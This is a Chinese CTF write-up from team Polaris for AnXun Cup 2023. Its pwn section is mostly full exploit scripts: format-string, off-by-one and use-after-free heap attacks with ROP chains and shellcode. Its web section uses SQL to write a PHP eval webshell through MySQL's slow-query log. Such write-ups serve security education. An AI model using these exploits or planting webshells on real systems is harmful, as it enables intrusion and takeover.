本次安洵杯2023(SYCTF2023),我们Polaris战队排名第2。
排名 | 队伍 | 总分 |
---|---|---|
1 | b4f0re | 4100 |
2 | Polaris | 4036 |
3 | Arr3stY0u | 3905 |
4 | 去有风的地方 | 3798 |
5 | LaoGong | 3447 |
6 | 这次还是一个人么 | 3032 |
7 | 广东计协 | 3004 |
8 | EDISEC | 2986 |
9 | n03tAck | 2831 |
10 | AmTrain | 2683 |
PWN
harde_pwn
先利用 ctypes 模块 + 溢出过随机数的检测
之后是一个无限次的非栈上格式化字符串漏洞
这里是先泄露栈地址和 libc_base 之后,直接修改 printf 函数的返回地址
从图中可以看到,printf 函数的返回地址在 rsp 中,如果我们预先将 rbp 那里修改为 one_gdaget ,再利用格式化字符串修改 printf 函数地址最后一个字节为 \xb1 ,那么,就会在 pop 之后 ret 到 one_gdaget ,以此 get shell,效果如下图
至此,完成攻击
exp
from pwn import *
from struct import pack
from ctypes import *
import hashlib
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('47.108.165.60', 42545)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c_libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'game!\n', p64(0)*4)
c_libc.srand(0)
for i in range(21):
sla(b'input: \n', str((c_libc.rand() ^ 0x24) + 1))
sa(b'input your data ;)\n', b'%8$p%11$p%7$p')
rl(b'0x')
stack = int(p.recv(12), 16)
rl(b'0x')
libc_base = int(p.recv(12), 16) - 0x29d90
ret = stack - 8
ptr = stack - 0x18
rbp = stack - 0x10
rl(b'0x')
heap_base = int(p.recv(12), 16) - 0x2a0
one_gadget = libc_base + 0xebcf8
printf_ret = ptr - 0x10
for i in range(6):
sa(b'input your data ;)\n', b'%' + str((rbp + i) & 0xffff).encode() + b'c%15$hn\x00')
sa(b'input your data ;)\n', b'%' + str((one_gadget >> i*8) & 0xff).encode() + b'c%45$hhn\x00')
sa(b'input your data ;)\n', b'%' + str(printf_ret & 0xffff).encode() + b'c%15$hn\x00')
sa(b'input your data ;)\n', b'%' + str(0xb1).encode() + b'c%45$hhn\x00')
print(' printf_ret -> ', hex(printf_ret))
print(' heap_base -> ', hex(heap_base))
print(' stack -> ', hex(stack))
print(' libc_base -> ', hex(libc_base))
inter()
DE_CAT
2.35的off-by-one
void __fastcall edit()
{
unsigned int v0; // [rsp+4h] [rbp-Ch]
edit_key = 0LL;
output("idx:\n");
v0 = input_num();
if ( v0 <= 0x1F && chunk_list[v0] )
{
output("content:\n");
chunk_list[v0][(int)read(0, chunk_list[v0], size_list[v0])] = 0; // off-by-one
}
else
{
output("wrong!\n");
}
}
利用脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('47.108.165.60', 36399)
def add_a_cat(size, content):
sh.sendlineafter(b'>> \n', b'1')
sh.sendlineafter(b'size:\n', str(size).encode())
sh.sendafter(b'content:\n', content)
def delete_a_cat(index):
sh.sendlineafter(b'>> \n', b'2')
sh.sendlineafter(b'idx:\n', str(index).encode())
def show_a_cat(index):
sh.sendlineafter(b'>> \n', b'3')
sh.sendlineafter(b'idx:\n', str(index).encode())
def edit_a_cat(index, content):
sh.sendlineafter(b'>> \n', b'4')
sh.sendlineafter(b'idx:\n', str(index).encode())
sh.sendafter(b'content:\n', content)
def kill_a_cat(index):
sh.sendlineafter(b'>> \n', b'5')
sh.sendlineafter(b'idx:\n', str(index).encode())
add_a_cat(0x4f8, b' ')
add_a_cat(0x4f8, b' ')
delete_a_cat(0)
add_a_cat(0x5f8, b' ')
add_a_cat(0x4f8, b' ')
show_a_cat(2)
sh.recvuntil(b'\0\0')
libc_addr = u64(sh.recvn(8)) - 0x21a110
heap_addr = u64(sh.recvn(8)) - 0x290
success('libc_addr: ' + hex(libc_addr))
success('heap_addr: ' + hex(heap_addr))
edit_a_cat(2, flat({0x0:heap_addr+0x290, 0x8:heap_addr+0x290, 0x4f0:0x500}, filler=b'\0', length=0x4f8))
delete_a_cat(1)
add_a_cat(0x288, b' ')
add_a_cat(0x288, b' ')
delete_a_cat(3)
delete_a_cat(2)
edit_a_cat(1, p64(((heap_addr + 0x2a0) >> 12) ^ (heap_addr + 0x10)))
add_a_cat(0x288, b' ')
add_a_cat(0x288, flat({0x30:0x1, 0x140: libc_addr + 0x221200-0x10}, filler=b'\0'))
add_a_cat(0x198, b' ')
show_a_cat(4)
sh.recvuntil(b'\0' * 0x10)
stack_addr = u64(sh.recvn(8)) - 0
success('stack_addr: ' + hex(stack_addr))
edit_a_cat(3, flat({0x30:0x1, 0x140: stack_addr-0x148}, filler=b'\0'))
add_a_cat(0x198, flat([
0,
libc_addr + 0x000000000002a3e5,
(stack_addr-0x148) & (~0xfff),
libc_addr + 0x000000000002be51,
0x1000,
libc_addr + 0x000000000011f497,
7, 0,
libc_addr + 0x0000000000045eb0,
10,
libc_addr + 0x0000000000091396,
libc_addr + 0x000000000008821d,
]) + asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''') + b'\0')
sh.interactive()
pwnpwn
2.31下的off-by-null
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwnpwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('47.108.165.60', 49034)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
def guessTrainner():
start =time.time()
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
li('第%d步----' %(i+1))
li('尝试:' +inputStrMax)
li('----')
AMax,BMax = compareAnswer(inputStrMax)
li('反馈:%dA%dB' % (AMax, BMax))
li('----')
ll('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
answerSetUpd(answerSet,inputStrMax,AMax,BMax)
if AMax==4:
elapsed = (time.time() - start)
li("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
break
elif i==5:
ll("猜数字失败!")
r.close()
def compareAnswer(inputStr):
inputStr1 = inputStr[0]+inputStr[1]+inputStr[2]+inputStr[3]
r.sendlineafter('please input your number:', inputStr1)
#r.recvuntil('\n')
tmp = r.recvuntil('B',timeout=0.5)
if tmp == '':
return 4,4
tmp = tmp.split(b"A")
if len(tmp[0]) > 0:
A = tmp[0]
B = tmp[1].split(b'B')[0]
return int(A),int(B)
else:
return 4, 4
def compareAnswer1(inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[j]==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[j]==answerStr[k]:
B+=1
return A,B
def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet
def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
A1,B1=compareAnswer1(inputStr,answerStr)
if A!=A1 or B!=B1:
answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
A1, B1 = compareAnswer1(inputStr, answerStr)
if A!=A1 or B!=B1:
i+=1
return i
def suggestedNum(answerSet,lvl):
suggestedNum=''
delCountMax=0
if len(answerSet) > lvl:
suggestedNum = list(answerSet)[0]
else:
for inputStr in answerSet:
delCount = 0
for answerStr in answerSet:
A,B = compareAnswer1(inputStr, answerStr)
delCount += answerSetDelNum(answerSet, inputStr,A,B)
if delCount > delCountMax:
delCountMax = delCount
suggestedNum = inputStr
if delCount == delCountMax:
if suggestedNum == '' or int(suggestedNum) > int(inputStr):
suggestedNum = inputStr
return suggestedNum
menu = 'root@$\n'
def add(index, size, content=b'a'):
r.sendlineafter(menu, '1')
r.sendlineafter('give me your index:\n', str(index))
r.sendlineafter('give me your size:\n', str(size))
r.sendafter('give me your content:\n', content)
def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('give me your index:\n', str(index))
def pd(username, passwd):
r.sendlineafter(menu, '5')
r.sendafter('please input your username\n', username)
r.sendafter('please input your passwd\n', passwd)
def edit(index, content):
r.sendlineafter(menu, '3')
r.sendlineafter('give me your index\n', str(index))
r.sendlineafter('give me your index\n', str(index))
r.sendafter('give me your content:\n', content)
def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('give me your index:\n', str(index))
guessTrainner()
dbgg()
add(0, 0x410) # 0
add(1, 0x20) # 1
add(2, 0x20) # 2
add(3, 0x4f0) # 3
add(4, 0x10) # 4
add(5, 0x20) # 5
pd('a', 'a')
delete(0)
add(0, 0x410)
edit(0, 'a' * 8)
pd('a' * 8, 'a' * 8)
show(0)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
pd(b'a'.ljust(6, b'\x00'), b'a'.ljust(6, b'\x00'))
pd('abc', 'abc')
#delete(1)
#delete(2)
#add(1, 0x28, 'a' * 7 + '\n')
delete(0)
add(6, 0x500)
add(0, 0x410)
edit(0, 'a' * 0x10)
pd('a' * 8, 'a' * 8)
show(0)
r.recvuntil('a' * 0x10)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x290
li('heap_base = ' + hex(heap_base))
pd(b'a'.ljust(6, b'\x00'), b'a'.ljust(6, b'\x00'))
pd('abc', 'abc')
delete(2)
p1 = p64(heap_base + 0x6c0) + 0x18 * b'a' + p64(0x50)
add(2, 0x28, p1)
delete(1)
p2 = p64(0) + p64(0x51) + p64(heap_base + 0x6f0 - 0x18) + p64(heap_base + 0x6f0 - 0x10)
add(1, 0x28, p2)
delete(3)
add(3, 0x100, p64(0) * 3 + p64(0x31))
delete(5)
delete(2)
delete(3)
add(3, 0x100, p64(0) * 3 + p64(0x31) + p64(free_hook))
add(7, 0x20)
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base
add(8, 0x20, p64(one_gadget))
delete(0)
r.interactive()
computer
kill命令有UAF漏洞。
void __fastcall main_method(node **workdir, __int64 a2, node *a3, node *a4)
{
...
if ( !strcmp(s1, "kill") )
{
v11 = atoi(s2);
if ( v11 >= 0 && v11 <= pid_amount )
{
free((void *)pid_list[v11]->program);
free(pid_list[v11]);
--pid_amount;
printf("%d had been killed\n", (unsigned int)v11);
}
return;
}
...
}
利用脚本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('47.108.165.60', 38253)
sh.sendlineafter(b'> ', b'touch ' + b'a' * 0xe7)
for i in range(16):
sh.sendlineafter(b'> ', b'exec ' + b'a' * 0xe7)
for i in range(10):
sh.sendlineafter(b'> ', b'touch ' + str(i).encode())
for i in range(8)[::-1]:
sh.sendlineafter(b'> ', b'kill ' + str(i).encode())
sh.sendlineafter(b'> ', b'ps')
sh.recvuntil(b'\t')
sh.recvuntil(b'\t')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x3ebca0
success('libc_addr: ' + hex(libc_addr))
sh.sendlineafter(b'> ', b'touch ' + b'b' * 8 + p64(libc_addr + 0x3ee098))
sh.sendlineafter(b'> ', b'ps')
sh.recvuntil(b'\t')
sh.recvuntil(b'\t')
heap_addr = u64(sh.recvn(6) + b'\0\0') - 0x660
success('heap_addr: ' + hex(heap_addr))
sh.recvuntil(b'\t')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))
sh.sendlineafter(b'> ', b'rm 0')
sh.sendlineafter(b'> ', b'rm 1')
sh.sendlineafter(b'> ', b'kill 0')
sh.sendlineafter(b'> ', b'mkdir new')
sh.sendlineafter(b'> ', b'cd new')
sh.sendlineafter(b'> ', b'touch 00')
sh.sendlineafter(b'> ', b'touch 01')
sh.sendlineafter(b'> ', b'touch 02')
sh.sendlineafter(b'> ', b'touch ' + p64(stack_addr - 0xb28))
sh.sendlineafter(b'> ', b'touch ' + b'3' * 0x19)
sh.sendlineafter(b'> ', b'touch ' + b'c' * 8 + p64(libc_addr + 0x00000000000baf9c) + cyclic(218) + flat([
libc_addr + 0x000000000002164f,
(stack_addr - 0xb28) & (~0xfff),
libc_addr + 0x0000000000023a6a,
0x1000,
libc_addr + 0x0000000000001b96,
7,
libc_addr + 0x000000000001b500,
10 + 0x10,
libc_addr + 0x000000000009a872,
libc_addr + 0x00000000000d2625,
libc_addr + 0x0000000000002b25,
]) + asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''))
sh.interactive()
fuzz_heap
加了混淆的堆题,两个delete中有一个存在UAF。
.text:0000000000003A1F loc_3A1F: ; CODE XREF: delete+17B↑j
.text:0000000000003A1F 48 8D 05 6A 36 00 00 lea rax, ptr
.text:0000000000003A26 48 8B 4D C8 mov rcx, [rbp+var_38]
.text:0000000000003A2A 8B 11 mov edx, [rcx]
.text:0000000000003A2C 89 D1 mov ecx, edx
.text:0000000000003A2E 48 8B 3C C8 mov rdi, [rax+rcx*8] ; ptr
.text:0000000000003A32 E8 F9 D5 FF FF call _free
.text:0000000000003A32
.text:0000000000003A37 C7 45 C0 B2 B1 21 F5 mov [rbp+var_40], 0F521B1B2h
.text:0000000000003A3E E9 07 00 00 00 jmp loc_3A4A
爆破验证key程序
// gcc -pthread -O3 crack.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#define NUM 20
unsigned int need;
void *worker(void *p)
{
size_t i, j;
unsigned int tmp, _need = need;
for(i = (size_t)p; i < 0x100000000; i += NUM)
{
tmp = i;
for(j = 0; j < 35; j++)
tmp = tmp ^ ((16 * tmp) ^ ((tmp ^ (16 * tmp)) >> 21) ^ (((16 * tmp) ^ tmp ^ ((tmp ^ (16 * tmp)) >> 21)) << 17));
if(tmp == _need)
{
write(STDOUT_FILENO, &i, sizeof(i));
exit(EXIT_SUCCESS);
}
}
}
int main()
{
pthread_t *threads;
int i, core = NUM;
read(STDIN_FILENO, &need, sizeof(need));
threads = calloc(core, sizeof(pthread_t));
for(i = 0; i < core; i++)
{
pthread_create(&threads[i], NULL, worker, (void *)i);
}
for(i = 0; i < core; i++)
{
pthread_join(threads[i], NULL);
}
return 0;
}
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('47.108.165.60', 33296)
def add(index, size, content):
# 0x417 - 0x46f
sh.sendlineafter(b'you can fuzz this game\n', b'6')
sh.sendlineafter(b'give me your index:\n', str(index).encode())
sh.sendlineafter(b'give me your size:\n', str(size).encode())
sh.sendafter(b'give me your content:\n', content)
def delete(index):
sh.sendlineafter(b'you can fuzz this game\n', b'41')
sh.sendlineafter(b'give me your index:\n', str(index).encode())
def delete2(index):
sh.sendlineafter(b'you can fuzz this game\n', b'21')
sh.sendlineafter(b'give me your index:\n', str(index).encode())
def show(index):
sh.sendlineafter(b'you can fuzz this game\n', b'31')
sh.sendlineafter(b'give me your index:\n', str(index).encode())
sh.recvuntil(b'give me your content:\n')
def show2(index):
sh.sendlineafter(b'you can fuzz this game\n', b'32')
sh.sendlineafter(b'give me your index:\n', str(index).encode())
sh.recvuntil(b'give me your content:\n')
def edit(index, content):
sh.sendlineafter(b'you can fuzz this game\n', b'18')
sh.sendlineafter(b'give me your index:\n', str(index).encode())
sh.sendafter(b'give me your content:\n', content)
sh.recvuntil(b'hhh\n')
t = process(['./crack'])
t.send(p32(int(sh.recvuntil(b'\n'), 16)))
key = u32(t.recv(4))
success('key: ' + hex(key))
sh.sendline(str(key).encode())
add(0, 0x448, b'\0')
add(1, 0x448, b'\0')
add(2, 0x438, b'\0')
add(3, 0x448, b'\0')
delete(0)
show(0)
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))
add(4, 0x468, b'\0')
delete2(4)
add(5, 0x448, b'a' * 0x10)
show(5)
sh.recvuntil(b'a' * 0x10)
heap_addr = u64(sh.recvn(6) + b'\0\0') - 0x290
success('heap_addr: ' + hex(heap_addr))
delete2(5)
add(5, 0x448, b'b' * 0x10)
delete2(5)
add(4, 0x468, b'\0')
delete2(2)
edit(0, b'a' * 0x18 + p64(libc_addr + 0x2193c8 - 0x20))
add(2, 0x418, b'\0')
delete(1)
delete(0)
add(6, 0x448, p64(0) + p64(libc_addr + 0x221200 - 0x10))
add(7, 0x448, b'\0')
show2(7)
sh.recvn(0x10)
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))
delete(3)
delete(0)
add(8, 0x448, p64(0) + p64(stack_addr-0x5f8 + 0x50))
add(9, 0x448, flat([
0,
libc_addr + 0x000000000002a3e5,
(stack_addr-0x5f8) & (~0xfff),
libc_addr + 0x000000000002be51,
0x1000,
libc_addr + 0x000000000011f497,
7, 0,
libc_addr + 0x0000000000045eb0,
10,
libc_addr + 0x0000000000091396,
libc_addr + 0x000000000008821d
]) + asm('''
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
'''))
sh.interactive()
Web
Confronting robot
Sqlmap跑一下
发现robot_data库的name表里面有
访问页面,在这里面输入
发现能执行sql命令,我想起来了慢日志查询
按照这个打
set GLOBAL log_queries_not_using_indexes=on;
set GLOBAL slow_query_log=on;
set GLOBAL slow_query_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select '<?php @eval($_POST[cmd]);phpinfo();?>' from mysql.db where sleep(10);
如果慢日志地址写入的是其他php的话,会显示没有权限,有权限的肯定是当前页面
没有权限访问的页面
有权限的页面
读取flag
Carelesspy
在/eval路由中,传参看到?cmd=/app/__pycache__目录下有个part.cpython-311.pyc
Download下载,反编译
获取SECRET_KEY
o2takuXX_donot_like_ntr
Flask session伪造
登录成功后,访问出现的地址
/th1s_1s_The_L4st_one
Xxe注入获取flag
misc
easy_soduku
nc远程连上后发现是个数独游戏,python有一个数独库sudokum,可以直接利用,这题没用pwntool,会稍微麻烦一点,为了快一点,直接写脚本手撸答案
import sudokum
puzzle = []
with open("C:\\Users\\HK\\Desktop\\puzzle.txt", "r") as f:
for line in f.readlines():
tmp = []
line = line.strip()
for num in line:
tmp.append(int(num))
puzzle.append(tmp)
solution = sudokum.solve(puzzle)
for row in solution[1]:
row = str(row)
out = ""
for i in range(9):
out += row[1 + 3 * i]
print(out)
多提交几次后会得到shell,直接cat flag即可
烦人的压缩包
下载得到一个压缩包,直接爆破得到密码645321
图片中也藏了一个压缩包,分离出来的到压缩包
但是那个压缩包无法直接解压出,这个区块也不是COMP_STORED 算法,不然可以看到是16进制的格式
直接改一下加密方式,发现是COMP_DEFLATE (8)
改好后得到正确的flag.txt
Ook解码即可得到flag
sudoku_speedrun
思路和第一题一样,不过判定时间更短
还是调用sudokum,通过将recv得到的数独转成二维数组,和解出数独,再通过蛇形遍历出答案,最后也是那到shell,直接cat flag
from pwn import *
import re
import sudokum
def getanswer(data):
split_one = re.sub(r"\\x1b\[(\d);32m(\d)\\x1b\[0m", "0", str(data)).split("|")
split_two = []
for tmp in split_one:
if len(tmp) == 7:
split_two.append(tmp)
puzzle_str = ""
for tmp in split_two:
for i in range(3):
puzzle_str += tmp[1 + i * 2]
puzzle = []
for i in range(9):
tmp = []
for j in range(9):
tmp.append(int(puzzle_str[i * 9 + j]))
puzzle.append(tmp)
solution = sudokum.solve(puzzle)[1]
answer = ""
for i in range(9):
if i % 2 == 0:
for j in range(9):
if puzzle[i][j] == 0:
answer += str(solution[i][j])
answer += "d"
else:
for j in range(8, -1, -1):
if puzzle[i][j] == 0:
answer += str(solution[i][j])
answer += "a"
answer = answer[:-1] + "s"
return answer[:-2]
conn = remote("47.108.165.60", 39961)
# 连接并获取数独
print(conn.recv())
print(conn.recv().decode())
conn.sendline("1".encode())
print(conn.recv().decode())
print(conn.recv().decode())
conn.sendline("5".encode())
print(conn.recv().decode())
data = conn.recv()
print(data.decode())
conn.sendline(getanswer(data).encode())
while True:
print(conn.recv().decode())
conn.sendline("cat flag".encode())
print(conn.recv().decode())
print(conn.recv().decode())
Rev
ez_cpp
一个rot13 然后是一个对应位置运算
接下来是根据输入input 返回一个对应的值
求出映射表 然后再动调 根据输入输出的对应逆向即可
打表
#include <stdio.h>
#include <string.h>
int __cdecl sub_DB3A6C(int a1, int a2)
{
int v2; // edx
int v3; // edi
int v4; // ebx
v2 = 0;
v3 = 0;
if ( a2 > 0 )
{
v4 = a2 - 1;
do
v2 |= ((a1 >> v3++) & 1) << v4--;
while ( v3 < a2 );
}
return v2 + 1;
}
int main()
{
char str[]={"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\]^_`{|}~"};
int x;
int v7=0x10400001;
int enc[]={ 0x00000022, 0xFFFFFFA2, 0x00000072, 0xFFFFFFE6, 0x00000052, 0xFFFFFF8C, 0xFFFFFFF2, 0xFFFFFFD4,
0xFFFFFFA6, 0x0000000A, 0x0000003C, 0x00000024, 0xFFFFFFA6, 0xFFFFFF9C, 0xFFFFFF86, 0x00000024,
0x00000042, 0xFFFFFFD4, 0x00000022, 0xFFFFFFB6, 0x00000014, 0x00000042, 0xFFFFFFCE, 0xFFFFFFAC,
0x00000014, 0x0000006A, 0x0000002C, 0x0000007C, 0xFFFFFFE4, 0xFFFFFFE4, 0xFFFFFFE4, 0x0000001E};
printf("%d\n",strlen(str));
for(int i=0;i<128;i++)
{
x= sub_DB3A6C(i,8);
printf("0x%x:%d,",x,i);
}
}
逆向
enc=[ 0x00000022, 0xFFFFFFA2, 0x00000072, 0xFFFFFFE6, 0x00000052, 0xFFFFFF8C, 0xFFFFFFF2, 0xFFFFFFD4,
0xFFFFFFA6, 0x0000000A, 0x0000003C, 0x00000024, 0xFFFFFFA6, 0xFFFFFF9C, 0xFFFFFF86, 0x00000024,
0x00000042, 0xFFFFFFD4, 0x00000022, 0xFFFFFFB6, 0x00000014, 0x00000042, 0xFFFFFFCE, 0xFFFFFFAC,
0x00000014, 0x0000006A, 0x0000002C, 0x0000007C, 0xFFFFFFE4, 0xFFFFFFE4, 0xFFFFFFE4, 0x0000001E]
v7=0x10400001
box=[13,141,77,205,45,173,109,237,29,157,135,71,199,39,167,103,231,23,151,87,215,55,183,119,247,15,143,79,207,47,175,111,239,31,159,95,131,67,195,35,163,99,227,19,147,83,211,51,179,115,243,11,139,75,203,43,171,107,235,27,155,91,133,197,37,165,101,229,21,149,85,213,53,181,117,245,93,221,61,189,125,253,3,219,187,123,251,7,223,63,191,127]
from string import printable
enc=[(i&0xff)^0x1 for i in enc]
print(enc)
dir={0x1:0,0x81:1,0x41:2,0xc1:3,0x21:4,0xa1:5,0x61:6,0xe1:7,0x11:8,0x91:9,0x51:10,0xd1:11,0x31:12,0xb1:13,0x71:14,0xf1:15,0x9:16,0x89:17,0x49:18,0xc9:19,0x29:20,0xa9:21,0x69:22,0xe9:23,0x19:24,0x99:25,0x59:26,0xd9:27,0x39:28,0xb9:29,0x79:30,0xf9:31,0x5:32,0x85:33,0x45:34,0xc5:35,0x25:36,0xa5:37,0x65:38,0xe5:39,0x15:40,0x95:41,0x55:42,0xd5:43,0x35:44,0xb5:45,0x75:46,0xf5:47,0xd:48,0x8d:49,0x4d:50,0xcd:51,0x2d:52,0xad:53,0x6d:54,0xed:55,0x1d:56,0x9d:57,0x5d:58,0xdd:59,0x3d:60,0xbd:61,0x7d:62,0xfd:63,0x3:64,0x83:65,0x43:66,0xc3:67,0x23:68,0xa3:69,0x63:70,0xe3:71,0x13:72,0x93:73,0x53:74,0xd3:75,0x33:76,0xb3:77,0x73:78,0xf3:79,0xb:80,0x8b:81,0x4b:82,0xcb:83,0x2b:84,0xab:85,0x6b:86,0xeb:87,0x1b:88,0x9b:89,0x5b:90,0xdb:91,0x3b:92,0xbb:93,0x7b:94,0xfb:95,0x7:96,0x87:97,0x47:98,0xc7:99,0x27:100,0xa7:101,0x67:102,0xe7:103,0x17:104,0x97:105,0x57:106,0xd7:107,0x37:108,0xb7:109,0x77:110,0xf7:111,0xf:112,0x8f:113,0x4f:114,0xcf:115,0x2f:116,0xaf:117,0x6f:118,0xef:119,0x1f:120,0x9f:121,0x5f:122,0xdf:123,0x3f:124,0xbf:125,0x7f:126,0xff:127
}
for i in enc:
print(chr(dir[i]),end='')
# "OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
# print(chr(ord("O")^4))#K
# print(chr(ord("O")^9))#F
# print(chr(ord("O")^6))#I
# print(chr(ord("O")-2))#M
# print(chr(ord("O")-5))#J
def rev(input):
out = "MFMFMMFMFMFFFFFFKJJJJJIIJIJJIIIJ"
result = ""
for i in range(32):
if(out[i]=="K"):
result += chr(input[i]^4)
if(out[i]=="F"):
result += chr(input[i]^9)
if(out[i]=="I"):
result += chr(input[i]^6)
if(out[i]=="M"):
result += chr(input[i]+2)
if(out[i]=="J"):
result += chr(input[i]+5)
return result
a = rev([ord(i) for i in "MFMFMMFMFMFFFFFFKJJJJJIIJIJJIIIJ"])
print(a)
input=[ord(i) for i in "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"]
a = rev(input)
print(a)
3d_maze
一个三维的迷宫 注意走迷宫的限制条件
打印出迷宫
然后根据分支条件手动走迷宫即可
map=[0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, .............. ]
maplist=[map[i*100:i*100+100] for i in range(6)]
for t in maplist:
print("==========================================")
for i in range(10):
print(t[i*10:i*10+10])
# for i in range(100):
# if(maplist[0][i]+maplist[1][i]==2):
# print(i,end=' ')
# print()
# for i in range(100):
# if(maplist[1][i]+maplist[2][i]==2):
# print(i,end=' ')
#0 -> 1 -> 2 -> 4 ->3 ->5 -> 0
# (0,2)(4,9)=D=
# (4,0)(2,9)=D=
# (2,0)(0,0)=W=
# (0,9)(2,0)=A=
# (0,2)(9,2)=S=
# (7,0)(0,3)=W=
# (9,3)(8,3)
ans="wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw"
#ssssssddwwddddddwwwdddsdddddwwWassaaaaaaaasssssssssddwwdwwwwww
print(len(ans))
babythread
程序创建了两个线程对key进行操作
发现主要的加密逻辑是RC4加密 流加密 直接动态调试取出来密钥流key即可
cin="a"*32
print(cin)
out=[ 0xEC, 0x24, 0x00, 0x3D, 0x28, 0xA7, 0xFD, 0x77, 0x93, 0xE7,
0x7C, 0x7F, 0x6D, 0x0A, 0x51, 0xF1, 0x04, 0x68, 0x6E, 0x86,
0x47, 0x6B, 0x7E, 0x8B, 0x27, 0x09, 0xA8, 0x7B, 0xFB, 0x90,
0x0C, 0x8D]
enc=[ 0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF,
0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4,
0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0,
0x4C, 0x91]
for i,j in zip(out,enc):
print(chr(i^j^ord('a')),end='')
gowhere
动态调试观察输入的字符串的变化
交叉引用 观察输入的字符串进行了哪些操作
可以设置ida断点 打印出程序运行到加密指令时字符串的变化
